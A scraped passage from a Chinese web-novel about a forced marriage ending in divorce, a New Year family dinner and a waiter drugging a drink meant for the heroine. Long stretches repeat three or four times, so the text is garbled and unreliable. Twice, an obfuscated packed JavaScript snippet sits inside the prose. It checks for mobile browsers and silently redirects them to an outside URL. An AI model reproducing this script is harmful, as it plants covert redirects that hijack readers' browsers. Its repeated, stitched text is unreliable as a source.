“绝不可能!”她说:“你别忘了,你是怎么走到今天这一步的。你要是敢起诉离婚,我保证,我们云家会让你失去现在所有的一切。还有,你爸爸的事情,你也别想撇清关系!” 云霓当初能逼宗域跟她结婚,最重要的原因就是宗父的死。 所以,当初她能逼他结婚,现在她就能用这个继续捆住她。 谁想,宗域冷冷一笑,那笑容,冷冽到了骨子里。 云霓甚至觉得后背都感到一阵阵发凉。 “你笑什么?你别以为事情过了这么久,就能当做什么都没发生了。你杀了你的亲爸的证据还放在我爷爷那里,你一辈子都别想抛下我!我这辈子缠定你了!” 宗域深深看她一眼,面无表情开口:“你以为,我在电话里跟老爷子说了什么?” 云霓微微一愣,很快明白他这是什么意思。 “你是说……爷爷也同意了?” “没错。” 云老爷子答应放他自由,这还得谢谢云霓。 如果不是云霓今天的“发疯”,云老爷子也不会对她彻底失望。 只是云老爷子也提出了一个条件。 那就是,宗域以后得姓云。 云老爷子会让云霓的父亲认宗域为干儿子。 他仍然是云家的**人,只是不再是云霓的丈夫,而是云霓的哥哥了。 而且,以后宗域的儿子,也得姓云。 宗域答应了。 横竖他不喜欢自己这个姓,对自己的亲生父亲更是深恶痛绝。 姓什么对他来说都一样。 他们就此达成了合作。 “我们离婚吧。” 云霓猛地抬头。 她刚才有点不敢看宗域,此刻猛地看向他的眼睛,发现他眼底满是厌恶。 是那种赤裸裸的、深恶痛绝的厌恶。 云霓一时间脸色苍白。 “我不要!我不会跟你离婚的!” “云霓。”宗域面无表情开口:“我们之间没有那个缘分,我努力过了,发现我真的无法爱上你。与其彼此折磨,不如放手,或许我们还能做朋友。” “我说了!我不会跟你离婚的!我就算死,也要变成鬼缠着你!” 宗域点头。 “既然这样,那我们就走司法程序。” 华夏的律法里有一条,一方如果提出离婚,若是另一方不同意,那么只要想离婚的那方提出起诉之后,双方分居六个月,就算自动离婚。 云霓不同意也没有用。 说完,他拿起椅背上的外套,直接往外走。 只是才刚走进电梯,云霓就追了进来。 “宗域!你站住!” 她追进去的时候,电梯的门正好关上。 宗域出不去,索性对上她的视线。 “还有什么话要说?还是说,你想通了?” “绝不可能!”她说:“你别忘了,你是怎么走到今天这一步的。你要是敢起诉离婚,我保证,我们云家会让你失去现在所有的一切。还有,你爸爸的事情,你也别想撇清关系!” 云霓当初能逼宗域跟她结婚,最重要的原因就是宗父的死。 所以,当初她能逼他结婚,现在她就能用这个继续捆住她。 谁想,宗域冷冷一笑,那笑容,冷冽到了骨子里。 云霓甚至觉得后背都感到一阵阵发凉。 “你笑什么?你别以为事情过了这么久,就能当做什么都没发生了。你杀了你的亲爸的证据还放在我爷爷那里,你一辈子都别想抛下我!我这辈子缠定你了!” 宗域深深看她一眼,面无表情开口:“你以为,我在电话里跟老爷子说了什么?” 云霓微微一愣,很快明白他这是什么意思。 “你是说……爷爷也同意了?” “没错。” 云老爷子答应放他自由,这还得谢谢云霓。 如果不是云霓今天的“发疯”,云老爷子也不会对她彻底失望。 只是云老爷子也提出了一个条件。 那就是,宗域以后得姓云。 云老爷子会让云霓的父亲认宗域为干儿子。 他仍然是云家的**人,只是不再是云霓的丈夫,而是云霓的哥哥了。 而且,以后宗域的儿子,也得姓云。 宗域答应了。 横竖他不喜欢自己这个姓,对自己的亲生父亲更是深恶痛绝。 姓什么对他来说都一样。 他们就此达成了合作。 “我们离婚吧。” 云霓猛地抬头。 她刚才有点不敢看宗域,此刻猛地看向他的眼睛,发现他眼底满是厌恶。 是那种赤裸裸的、深恶痛绝的厌恶。 云霓一时间脸色苍白。 “我不要!我不会跟你离婚的!” “云霓。 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所以,当初她能逼他结婚,现在她就能用这个继续捆住她。 谁想,宗域冷冷一笑,那笑容,冷冽到了骨子里。 云霓甚至觉得后背都感到一阵阵发凉。 “你笑什么?你别以为事情过了这么久,就能当做什么都没发生了。你杀了你的亲爸的证据还放在我爷爷那里,你一辈子都别想抛下我!我这辈子缠定你了!” 宗域深深看她一眼,面无表情开口:“你以为,我在电话里跟老爷子说了什么?” 云霓微微一愣,很快明白他这是什么意思。 “你是说……爷爷也同意了?” “没错。” 云老爷子答应放他自由,这还得谢谢云霓。 如果不是云霓今天的“发疯”,云老爷子也不会对她彻底失望。 只是云老爷子也提出了一个条件。 那就是,宗域以后得姓云。 云老爷子会让云霓的父亲认宗域为干儿子。 他仍然是云家的**人,只是不再是云霓的丈夫,而是云霓的哥哥了。 而且,以后宗域的儿子,也得姓云。 宗域答应了。 横竖他不喜欢自己这个姓,对自己的亲生父亲更是深恶痛绝。 姓什么对他来说都一样。 他们就此达成了合作。 “我们离婚吧。” 云霓猛地抬头。 她刚才有点不敢看宗域,此刻猛地看向他的眼睛,发现他眼底满是厌恶。 是那种赤裸裸的、深恶痛绝的厌恶。 云霓一时间脸色苍白。 “我不要!我不会跟你离婚的!” “云霓。”宗域面无表情开口:“我们之间没有那个缘分,我努力过了,发现我真的无法爱上你。与其彼此折磨,不如放手,或许我们还能做朋友。” “我说了!我不会跟你离婚的!我就算死,也要变成鬼缠着你!” 宗域点头。 “既然这样,那我们就走司法程序。” 华夏的律法里有一条,一方如果提出离婚,若是另一方不同意,那么只要想离婚的那方提出起诉之后,双方分居六个月,就算自动离婚。 云霓不同意也没有用。 说完,他拿起椅背上的外套,直接往外走。 只是才刚走进电梯,云霓就追了进来。 “宗域!你站住!” 她追进去的时候,电梯的门正好关上。 宗域出不去,索性对上她的视线。 “还有什么话要说?还是说,你想通了?” “绝不可能!”她说:“你别忘了,你是怎么走到今天这一步的。你要是敢起诉离婚,我保证,我们云家会让你失去现在所有的一切。还有,你爸爸的事情,你也别想撇清关系!” 云霓当初能逼宗域跟她结婚,最重要的原因就是宗父的死。 所以,当初她能逼他结婚,现在她就能用这个继续捆住她。 谁想,宗域冷冷一笑,那笑容,冷冽到了骨子里。 云霓甚至觉得后背都感到一阵阵发凉。 “你笑什么?你别以为事情过了这么久,就能当做什么都没发生了。你杀了你的亲爸的证据还放在我爷爷那里,你一辈子都别想抛下我!我这辈子缠定你了!” 宗域深深看她一眼,面无表情开口:“你以为,我在电话里跟老爷子说了什么?” 云霓微微一愣,很快明白他这是什么意思。 “你是说……爷爷也同意了?” “没错。” 云老爷子答应放他自由,这还得谢谢云霓。 如果不是云霓今天的“发疯”,云老爷子也不会对她彻底失望。 只是云老爷子也提出了一个条件。 那就是,宗域以后得姓云。 云老爷子会让云霓的父亲认宗域为干儿子。 他仍然是云家的**人,只是不再是云霓的丈夫,而是云霓的哥哥了。 而且,以后宗域的儿子,也得姓云。 宗域答应了。 横竖他不喜欢自己这个姓,对自己的亲生父亲更是深恶痛绝。 姓什么对他来说都一样。 他们就此达成了合作。 “我们离婚吧。” 云霓猛地抬头。 她刚才有点不敢看宗域,此刻猛地看向他的眼睛,发现他眼底满是厌恶。 是那种赤裸裸的、深恶痛绝的厌恶。 云霓一时间脸色苍白。 “我不要!我不会跟你离婚的!” “云霓。”宗域面无表情开口:“我们之间没有那个缘分,我努力过了,发现我真的无法爱上你。与其彼此折磨,不如放手,或许我们还能做朋友。” “我说了!我不会跟你离婚的!我就算死,也要变成鬼缠着你!” 宗域点头。 “既然这样,那我们就走司法程序。” 华夏的律法里有一条,一方如果提出离婚,若是另一方不同意,那么只要想离婚的那方提出起诉之后,双方分居六个月,就算自动离婚。 云霓不同意也没有用。 说完,他拿起椅背上的外套,直接往外走。 只是才刚走进电梯,云霓就追了进来。 “宗域!你站住!” 她追进去的时候,电梯的门正好关上。 宗域出不去,索性对上她的视线。 “还有什么话要说?还是说,你想通了?” “绝不可能!”她说:“你别忘了,你是怎么走到今天这一步的。你要是敢起诉离婚,我保证,我们云家会让你失去现在所有的一切。还有,你爸爸的事情,你也别想撇清关系!” 云霓当初能逼宗域跟她结婚,最重要的原因就是宗父的死。 所以,当初她能逼他结婚,现在她就能用这个继续捆住她。 谁想,宗域冷冷一笑,那笑容,冷冽到了骨子里。 云霓甚至觉得后背都感到一阵阵发凉。 “你笑什么?你别以为事情过了这么久,就能当做什么都没发生了。你杀了你的亲爸的证据还放在我爷爷那里,你一辈子都别想抛下我!我这辈子缠定你了!” 宗域深深看她一眼,面无表情开口:“你以为,我在电话里跟老爷子说了什么?” 云霓微微一愣,很快明白他这是什么意思。 “你是说……爷爷也同意了?” “没错。” 云老爷子答应放他自由,这还得谢谢云霓。 如果不是云霓今天的“发疯”,云老爷子也不会对她彻底失望。 只是云老爷子也提出了一个条件。 那就是,宗域以后得姓云。 云老爷子会让云霓的父亲认宗域为干儿子。 他仍然是云家的**人,只是不再是云霓的丈夫,而是云霓的哥哥了。 而且,以后宗域的儿子,也得姓云。 宗域答应了。 横竖他不喜欢自己这个姓,对自己的亲生父亲更是深恶痛绝。 姓什么对他来说都一样。 他们就此达成了合作。 第270章 更恨她 “不可能……爷爷不可能同意你跟我离婚的!” 云霓的脸色一寸寸变白而后又开始发青。 她死死盯着宗域的脸企图从他眼底发现撒谎的痕迹。 可是没有。 她找不出来任何心虚! 但她仍然不愿意相信。 那可是她爷爷! 最疼爱她的人。 从小到大她想要什么都会立刻拿到她面前来的、最疼爱她的爷爷。 更何况爷爷非常欣赏宗域。 一旦离婚爷爷就会失去他这个孙女婿。 爷爷不可能做出这么荒唐的事情的。 “我不信!”她说。 电梯正好到达一楼。 宗域面无表情地丢下一句“信不信由你”就迈步走出了电梯。 云霓还想追上去但被宗域的警卫员拦住。 “放开我!我要问清楚!” 然而宗域已经上车离开了。 “他是骗我的他一定在骗我!” 云霓像是在自言自语。 突然一扭头 她要亲口问爷爷! 宗域说的话她一个字也不信! 然后到了云家云老爷子非但没有反驳还直接叫人把她关在了房间里。 “等她冷静下来能好好说话为止不许放她出来。” 云老爷子吩咐门口两个看守的保镖脸色很难看地离开了。 另一边夏灼灼回到家后直奔主卧睡了很长一个觉。 等再醒过来竟然已经是第二天了。 她睡了超过十五个小时了。 肚子开始唱空城计。 夏灼灼洗漱后准备下楼找点吃的。 却看到司慎行正围着围裙指挥佣人们摆放碗筷。 夏灼灼愣了愣问:“你什么时候回来的?” “两个小时前。”司慎行一边说一边招呼她过来坐下吃午饭。 “怎么不叫我?” 他道:“看你睡得熟想着让你再睡会儿正好我趁这个时间给你做饭。” 夏灼灼看了眼餐桌诧异地问道:“这些菜不会全是你做的吧?” 司慎行点头递给她一双筷子。 “尝尝怎么样。” 夏灼灼随便选了两道菜尝很快眼睛就亮了。 “这是四季阁的味道一模一样。” “看来我手艺又进步了。” “… … 之前有一次,司慎行也露过一手,只是没做几道菜。 现在却已经能做一桌子的菜了。 “你到底是什么时候学的这些?我平时看你也没什么时候休息的。 司慎行道:“等以后你嫁进来,就能知道我什么时候学得这些了。 他们虽然天天见面,却不是二十四小时黏在一起。 夏灼灼牵了牵唇角,心里暖洋洋一片。 她知道司慎行很忙,却仍抽出时间为她学做菜。 四季阁的菜是按照食材的春夏秋冬来上菜的,司慎行今天做的都是“冬菜。 夏灼灼最爱那道羊肉萝卜。 她之前不怎么爱吃羊肉,因为受不了那个膻味。 但这道羊肉萝卜一点膻味也无,全是白萝卜的鲜甜,还放了滋补的黑豆,非常养生。 夏灼灼吃完之后,出了一身的汗。 京都的室内本来就热,她出了汗,觉得浑身畅通,甚至觉得自己可以穿单衣去户外了。 “夜里下了雪,一会儿你穿厚点,我带你去花园堆雪人。司慎行说。 “好。夏灼灼刚答应,又想起了正事。 “医院的情况怎么样?司谨言那边呢? 司慎行道:“按照你的计划,现在被我的人拦在机场。现在估计正在闹,但我们不用管,先玩我们的。等老头子醒过来,再陪他们唱戏。 夏灼灼点头。 她上楼穿上那套司慎行为她准备的厚重衣服。 脖子上围着兔毛围脖,脚上穿了厚底的雪地靴,整个人看起来圆滚滚的。 司慎行情不自禁捏了捏她的脸颊,又吻了吻她的额头。 “真可爱。 “……咳。夏灼灼不好意思地咳嗽一声,说:“走了,去堆雪人。 “不着急,先戴上这个。 司慎行拉过她的手,替她戴上毛茸茸的手套,外面又套一个皮手套。 “这样雪融了不会冻手。 他事无巨细,像照顾孩子一样照顾她。 夏灼灼的耳垂红红的,真像一只兔子了。 两个人手牵手去了后花园。 果然像司慎行说的那样,昨晚下了一夜的雪,雪积的很厚。 北方不像南方,雪不容易化。 夏灼灼踩进去,雪足有她膝盖那么深。 “故意叫他们别扫雪,你随便玩,等玩好了, 再把雪扫了。 夏灼灼点点头,正要往更深处走,突然眼珠子一转,一个转身,将司慎行往雪地里推。 司慎行立刻往后倒去。 却也是狡黠地一把拉住她的手。 两个人同时跌倒进雪里。 夏灼灼有点“只许州官放火的意思,爬起来一边拍身上的雪,一边狠狠瞪了司慎行一眼。 司慎行摊手:“你先推我的。 “不管!你拉我一起摔倒就是你的不对! “好好好,我的错。司慎行摘掉手套,替她掸去头发上的雪,心情是不一般的好。 因为他能感觉到,灼灼在她面前越来越小女儿姿态了。 以前她像个没有感情的机器人,现在也会露出女孩子的娇嗔了。 他很欣慰。 因为没有人天生没有感情,只是以前夏灼灼不在他面前展露真实的一面。 现在很显然她对他彻底放下了戒备,所以才展露出自己真实的一面了。 她真实的一面,简直可爱极了。 “想堆个什么雪人?他问她。 夏灼灼想了想,说:“大一点的,越大越好。 “行。 夏灼灼一开始也跟着帮忙,但很快她就累了。 昨天在手术室里忙了那么久,虽然睡了很久,但身体还没完全恢复。 于是就变成夏灼灼在室内隔着玻璃看司慎行堆雪人。 很快雪人堆好了。 是一个很大的雪人。 夏灼灼要踮起脚尖才能碰到它的胡萝卜鼻子。 “可惜不能带回沪城去,不然就能让爸妈和哥哥看了。 司慎行说:“这有什么难?一会儿叫人运去沪城。 夏灼灼只当这是玩笑。 去南方,路上就该化了。 就在这时,夏灼灼接到了夏怀征的电话。 “灼灼,晚上一起过年? “好啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586457|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏灼灼答应下来,问他:“去哪里过? “我对这边还不太熟,你问问阿行? “好。那我们商量好告诉你。 “好。 挂断电话,夏灼灼把这件事跟司慎行说了。 司慎行说了一个地址,夏灼灼发给夏怀征。 “你想我们三个单独吃,还是多叫一些人?司慎行问她。 夏灼灼想了想,说:“人多热闹,把阿麦霍刚他们都 叫上。” 司慎行道:“也可以把你的人都叫上。” 如今暗部的人已经不是以前那样,需要隐姓埋名了。 大家都可以正大光明出来玩。 “那可要换个地方了,我留在这边的人不少。” “那就去酒店吃?” “好。” 司慎行很快找到了一个合适的新地方,夏灼灼先跟夏怀征说了这事儿,之后又去通知暗部在京都的人,晚上去那家酒店吃饭。 一番忙碌,很快就到了晚上。 他们去的酒店叫“浮岛记”。 这家酒店平时就很难预定,司慎行本来想包场,奈何其他人提前有预定。 司慎行不是不通人情的人。 大过年的,让别人没地方去吃年夜饭挺无情的,所以就没强行包场。 但三楼的酒廊全都被他包了下来。 其他预约的客人都在二楼包厢吃饭,不会打扰到他们。 只是夏灼灼和司慎行都没想到,会在电梯里碰到熟人。 两个人坐电梯往上楼,电梯在二楼的时候门打开了。 两个人立刻就看到了电梯门外的人。 正是宗域和云霓。 两个人看起来脸色都不太好。 当然,宗域只是冷淡,云霓则是一张小脸煞白,脸上也没涂什么化妆品,看起来很是憔悴。 两个人本来是要下楼的,误按了上楼的按钮,这才看到了去三楼的夏灼灼和司慎行。 宗域率先打招呼。 “司先生,小灼。你们也来吃饭?” 他并不意外司慎行和夏灼灼在京都。 司慎行没搭理宗域。 虽然当初宗域跟云霓在一起,是事出有因,而非真的变心,但对夏灼灼的伤害是真实存在的。 夏灼灼能原谅他,司慎行却不能。 他自认是个小心眼的人。 所以对他来说,不打压宗域已经是他最大的仁慈了。 想让他给笑脸? 门都没有! 夏灼灼则是点头。 “来这里吃年夜饭,你们也来吃饭?” “嗯。我下楼去接老爷子。” “我们上楼去。” “那我们在外面等一等,你们先上去。” “好。” 电梯门缓缓关上。 整个人过程,云霓一个字都没有说,那双眼睛却像是淬了毒,死死盯着夏灼灼,看得夏灼灼眉头微皱。 电梯到达三楼,夏灼灼才开口:“云霓居然还记恨我。” “不一定是因为云老爷子的事。”司慎行道:“她刚才的眼神,恨不得把你吃了。如果不是今天大过年的,我非得把她那双眼睛给挖了。” “……” 夏灼灼反过来安抚司慎行:“眼神又杀不**。” 心里却不理解,云霓为什么比之前更恨她? 第271章 下药 夏灼灼不爱打听八卦,不过身边有个八卦小能手,那就是秋雨。 她消息很灵通,故而哪里的八卦都知道一些。 也喜欢絮絮叨叨说给夏灼灼听。 故而她知道,宗域对云霓的态度有所改变了。 他在努力试着接受云霓。 按理说,宗域有这样的变化,云霓不应该像之前那样对她有那么大的敌意,可现在,敌意不仅没有消除,反而还升级成了恨意。 她完全想不通。 不过夏灼灼很快就没时间关心这些了,因为她进了酒廊之后才发现,来的不止是大哥和暗部在京都的下属…… “爸,妈……你们怎么都来了?什么时候到的?” 她满脸都是讶异。 不仅夏云海和宁穗香来了,夏家全部的人都过来了,包括夏管家。 除此之外,秋雨、谷仔他们也来了。 酒廊满满当当,全是她的人。 她几乎喜极而泣。 宁穗香牢牢牵住她的手,说:“是慎行安排了专机,我们刚到不到半个小时,想着给你一个惊喜,就没告诉你。” 夏灼灼的鼻子酸酸的。 她看向司慎行,一时间不知道该说什么好。 她太惊喜了! 等夏灼灼激动地跟所有人打完招呼,司慎行才解释起来。 中午堆雪人的时候,夏灼灼很遗憾这么好看的雪人不能让家里人看到,司慎行后来就在考虑怎么把雪人运回去。 他打电话问了季恒,季恒一语道破:“人家只是想家里人了,不是想让家里人看雪人。” 于是就有了他用飞机把夏灼灼的家人和朋友都接到这里过年这一出。 “谢谢你。”夏灼灼吸了吸鼻子,强迫自己不要掉眼泪。 “不是说,我们之间不说谢谢吗?” 夏灼灼扯出一抹笑容,说:“对,不说了,我们好好过一个年。” “嗯。” 一顿饭吃得很热闹。 酒廊全都是夏灼灼的朋友,以及阿麦和霍刚。 今天这个场景,她做梦都没有想过。 她已经很久没这么开心,嘴角笑的都有些发僵。 到后半程,季恒来了。 他先在季家吃了年夜饭,这才赶过来。 只不过他空着手来,被司慎行嘲讽了一顿。 季恒举手说:“谁说我空手来的?” 话音落下,他从怀里掏出一大把红包。 “来来来, 见者有份!” 秋雨率先抢到一个,打开看,发现是一张卡。 “四季阁的卡,大家以后拿卡吃饭免费,终生有效。”季恒道。 “大手笔啊!” 大家立刻开始哄抢红包。 四季阁的分店开得越来越多,如今所有一二线城市几乎都开了四季阁。 秋雨喜形于色,帮着夏灼灼也抢到一个。 只是抢到后,她把夏灼灼拉到一边,神神秘秘地说:“我跟你说一个八卦。” “什么八卦?” 夏灼灼心情好,愿意听她絮叨。 秋雨就说:“宗域跟云霓离婚了。” 夏灼灼大吃一惊。 “什么时候的事?” “就今天。” “过年民政局不是不开门吗?” “你以为我是怎么知道的消息?就是特意让民政局给他们开门了,为的就是**。” “……” “还有一个八卦。” “什么?” “宗域他们在楼下吃饭。” 夏灼灼这个倒是知道。 她说:“我坐电梯上来的时候碰到他了,他跟云霓在一起。” “那你知道,为什么他们离婚了还在一起吃饭吗?” “不知道。” 秋雨立刻说:“云先生认了宗域为儿子,宗域现在不叫宗域了,叫云域了。他以后是正经的云家少爷了。” “……” 夏灼灼嘴角抽了抽。 只觉得事情荒诞无比。 “你打听一下呗,究竟发生了什么。”秋雨说。 夏灼灼立刻摇头:“别人的事情,我不想打听,这是他们的家务事,你也别管了,吃饭吧。” 秋雨耸肩,觉得夏灼灼太不爱八卦了。 不过她也没继续说这件事,而是说:“定好了,年初二谷仔去我家提亲。” 夏灼灼倏然瞪大眼睛。 “真的?” “比珍珠还真。” “恭喜你啊!你爷爷什么想法?” “知道金筷子是谷仔男扮女装赢来的之后,他就不排斥谷仔了。但碍于谷仔的身份特殊,他一直也没松口。但现在不一样了,窦部长下台,官方不针对暗部,并且有意收编,我爷爷得到消息之后,就答应见他。我就知道,他年初二的时候,肯定会同意的。” 夏灼灼笑的很欣慰。 “我可以等着喝你们的喜酒了。” “那你要当我 伴娘吗?” “当然。你不嫌弃的话。” “那你可别在我前面结婚。” 这话夏灼灼不知道怎么接。 因为秋雨这边算是一帆风顺,她这边,情况却要复杂很多。 但她相信,她跟司慎行一定会克服眼前的困难的。 而且,这一天不会等太久。 吃饱之后,女孩子们到一旁聊天,男人则是继续留在餐桌上喝酒。 就在这时,一个侍从端着一杯果茶过来。 “几位小姐,这是我们酒店自制的水果茶,里面还放了点姜丝,暖身子的。” 夏灼灼点头,那侍从就给每人面前都摆上了一杯。 夏灼灼端起来正要喝,一只大手从她手里拿过了杯子。 夏灼灼扭头,正是司慎行。 他一身的酒味,面颊略有一点绯红。 “什么茶?我尝尝。” 说话间,他将整杯茶喝了下去。 又凑近夏灼灼说:“我再喝可能得醉了,你拉着点我。” 夏灼灼会意,故作嗔怒。 “你把我的茶喝了,我喝什么?” “我赔你一杯。” “我想喝酒店对面的咖啡。” “那我们一起去买?” “好。” 夏灼灼站起身,跟夏太太打了声招呼,就拉着司慎行往外走。 司慎行的脚步略有点重,夏灼灼便故意挽着他的胳膊,暗中悄悄使劲,防止他的身子看起来有点摇晃。 季恒那边注意到司慎行,招呼他:“怎么跑了?快过来喝酒。” 夏灼灼笑盈盈替司慎行回答:“我让他陪我去对面买点东西,一会儿回来再喝。” 季恒没再管那边了。 他发现谷仔是个神人,什么事情都懂一点,跟他聊的很来。 夏灼灼趁机挽着司慎行离开酒廊。 到了酒廊外面,夏灼灼轻轻呼了一口气,问他:“你这是喝了多少?” “没多少,就敬了两圈,加上几种酒混在一起,头就有点疼。” 夏灼灼诧异。 “那么多人,你敬了两圈?” “你娘家人敬酒,我哪能不喝?” 夏灼灼就有点心疼他。 “楼上应该有空房间,我们去房间里,我帮你按一按,人就会舒服一点。” “好。” 司慎行没拒绝,因为他感觉自己的身体似乎越来越不舒服了,整个人火烧火燎的。 别不是发烧了。 正好一个侍应生路过,询问他们:“两位是要去楼上房间休息吗?” 夏灼灼点头,问:“还有空房间吗?” “有,今天来酒店的客人都不是住的,都是来吃饭的。” “好,那你帮我们安排一间。” 侍应生就说:“恐怕得先去前台办入住,流程还是得走,否则我们没法交代。” 夏灼灼不想为难别人,便点头说:“那你帮我看着点他,我去楼下办入住。” “好的。” 夏灼灼便进了电梯。 到了楼下,前台给了她一张602的房卡。 夏灼灼拿好房卡,一边往电梯里去,一边给司慎行打电话。 接电话的,却是刚才那个侍应生。 “那我带这位先生上六楼等您。” “好。” 夏灼灼答应了,直接按下六楼的电梯。 然而等她上了六楼,却没见到侍应生和司慎行。 她疑惑地再次拨通司慎行的电话,就听到对面602房间发出了手机铃声。 她想着约莫是侍应生先帮她把司慎行带到房间了,就拿着房卡开门。 房间里漆黑一片,她走进去两步,正要摸索着插房卡通电,就直觉身后有人靠近。 她故作不知,继续在墙上摸索插房卡的地方。 下一秒,她突然转身,直接一个飞踢,将靠近的人一脚踢飞。 “唔……” 那人发出吃痛的声音。 下一秒,夏灼灼的脚已经踩在了那人的脸上。 “你是什么人?想干什么?” “饶命,小姐饶命……我也是拿钱做事……” 夏灼灼半眯起眼,辨认出声音正是刚才那个替她扶着司慎行的侍应生。 “司慎行……跟我一起的那个人呢?” “他在702……” “什么人派你来的?” “我也不知道,是一个女人,长得挺漂亮的,她给了我一大笔钱……我、我没想害你,就是按照她说的,把你弄晕,关在这里。” 又求饶:“我真的知道错了,我只是真的缺钱过年……” 夏灼灼先把房间里的灯打开了。 只见那个侍应生面如菜色,脸上很明显一个脚印。 夏灼灼沉默两秒,问:“他人没事吧?” “应该没事,但是喝了一点东西……” “什么东西?” 对方说了,夏灼灼的脸色一黑。 她想起来了,当时端果汁过来的,也是这个人。 她问:“那东西原本是要给我喝的?” “是……” 下一秒,夏灼灼直接将人劈晕。 而后她拨通了阿麦的电话。 “立刻来602一趟,不要惊动任何人。我在这里关了个人,你盯着他,不准让他逃走,我去一趟702。” “是。”阿麦什么都没问,直接应下。 别不是发烧了。 正好一个侍应生路过,询问他们:“两位是要去楼上房间休息吗?” 夏灼灼点头,问:“还有空房间吗?” “有,今天来酒店的客人都不是住的,都是来吃饭的。” “好,那你帮我们安排一间。” 侍应生就说:“恐怕得先去前台办入住,流程还是得走,否则我们没法交代。” 夏灼灼不想为难别人,便点头说:“那你帮我看着点他,我去楼下办入住。” “好的。” 夏灼灼便进了电梯。 到了楼下,前台给了她一张602的房卡。 夏灼灼拿好房卡,一边往电梯里去,一边给司慎行打电话。 接电话的,却是刚才那个侍应生。 “那我带这位先生上六楼等您。” “好。” 夏灼灼答应了,直接按下六楼的电梯。 然而等她上了六楼,却没见到侍应生和司慎行。 她疑惑地再次拨通司慎行的电话,就听到对面602房间发出了手机铃声。 她想着约莫是侍应生先帮她把司慎行带到房间了,就拿着房卡开门。 房间里漆黑一片,她走进去两步,正要摸索着插房卡通电,就直觉身后有人靠近。 她故作不知,继续在墙上摸索插房卡的地方。 下一秒,她突然转身,直接一个飞踢,将靠近的人一脚踢飞。 “唔……” 那人发出吃痛的声音。 下一秒,夏灼灼的脚已经踩在了那人的脸上。 “你是什么人?想干什么?” “饶命,小姐饶命……我也是拿钱做事……” 夏灼灼半眯起眼,辨认出声音正是刚才那个替她扶着司慎行的侍应生。 “司慎行……跟我一起的那个人呢?” “他在702……” “什么人派你来的?” “我也不知道,是一个女人,长得挺漂亮的,她给了我一大笔钱……我、我没想害你,就是按照她说的,把你弄晕,关在这里。” 又求饶:“我真的知道错了,我只是真的缺钱过年……” 夏灼灼先把房间里的灯打开了。 只见那个侍应生面如菜色,脸上很明显一个脚印。 夏灼灼沉默两秒,问:“他人没事吧?” “应该没事,但是喝了一点东西……” “什么东西?” 对方说了,夏灼灼的脸色一黑。 她想起来了,当时端果汁过来的,也是这个人。 她问:“那东西原本是要给我喝的?” “是……” 下一秒,夏灼灼直接将人劈晕。 而后她拨通了阿麦的电话。 “立刻来602一趟,不要惊动任何人。我在这里关了个人,你盯着他,不准让他逃走,我去一趟702。” “是。”阿麦什么都没问,直接应下。 别不是发烧了。 正好一个侍应生路过,询问他们:“两位是要去楼上房间休息吗?” 夏灼灼点头,问:“还有空房间吗?” “有,今天来酒店的客人都不是住的,都是来吃饭的。” “好,那你帮我们安排一间。” 侍应生就说:“恐怕得先去前台办入住,流程还是得走,否则我们没法交代。” 夏灼灼不想为难别人,便点头说:“那你帮我看着点他,我去楼下办入住。” “好的。” 夏灼灼便进了电梯。 到了楼下,前台给了她一张602的房卡。 夏灼灼拿好房卡,一边往电梯里去,一边给司慎行打电话。 接电话的,却是刚才那个侍应生。 “那我带这位先生上六楼等您。” “好。” 夏灼灼答应了,直接按下六楼的电梯。 然而等她上了六楼,却没见到侍应生和司慎行。 她疑惑地再次拨通司慎行的电话,就听到对面602房间发出了手机铃声。 她想着约莫是侍应生先帮她把司慎行带到房间了,就拿着房卡开门。 房间里漆黑一片,她走进去两步,正要摸索着插房卡通电,就直觉身后有人靠近。 她故作不知,继续在墙上摸索插房卡的地方。 下一秒,她突然转身,直接一个飞踢,将靠近的人一脚踢飞。 “唔……” 那人发出吃痛的声音。 下一秒,夏灼灼的脚已经踩在了那人的脸上。 “你是什么人?想干什么?” “饶命,小姐饶命……我也是拿钱做事……” 夏灼灼半眯起眼,辨认出声音正是刚才那个替她扶着司慎行的侍应生。 “司慎行……跟我一起的那个人呢?” “他在702……” “什么人派你来的?” “我也不知道,是一个女人,长得挺漂亮的,她给了我一大笔钱……我、我没想害你,就是按照她说的,把你弄晕,关在这里。” 又求饶:“我真的知道错了,我只是真的缺钱过年……” 夏灼灼先把房间里的灯打开了。 只见那个侍应生面如菜色,脸上很明显一个脚印。 夏灼灼沉默两秒,问:“他人没事吧?” “应该没事,但是喝了一点东西……” “什么东西?” 对方说了,夏灼灼的脸色一黑。 她想起来了,当时端果汁过来的,也是这个人。 她问:“那东西原本是要给我喝的?” “是……” 下一秒,夏灼灼直接将人劈晕。 而后她拨通了阿麦的电话。 “立刻来602一趟,不要惊动任何人。我在这里关了个人,你盯着他,不准让他逃走,我去一趟702。” “是。”阿麦什么都没问,直接应下。 别不是发烧了。 正好一个侍应生路过,询问他们:“两位是要去楼上房间休息吗?” 夏灼灼点头,问:“还有空房间吗?” “有,今天来酒店的客人都不是住的,都是来吃饭的。” “好,那你帮我们安排一间。” 侍应生就说:“恐怕得先去前台办入住,流程还是得走,否则我们没法交代。” 夏灼灼不想为难别人,便点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586458|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头说:“那你帮我看着点他,我去楼下办入住。” “好的。” 夏灼灼便进了电梯。 到了楼下,前台给了她一张602的房卡。 夏灼灼拿好房卡,一边往电梯里去,一边给司慎行打电话。 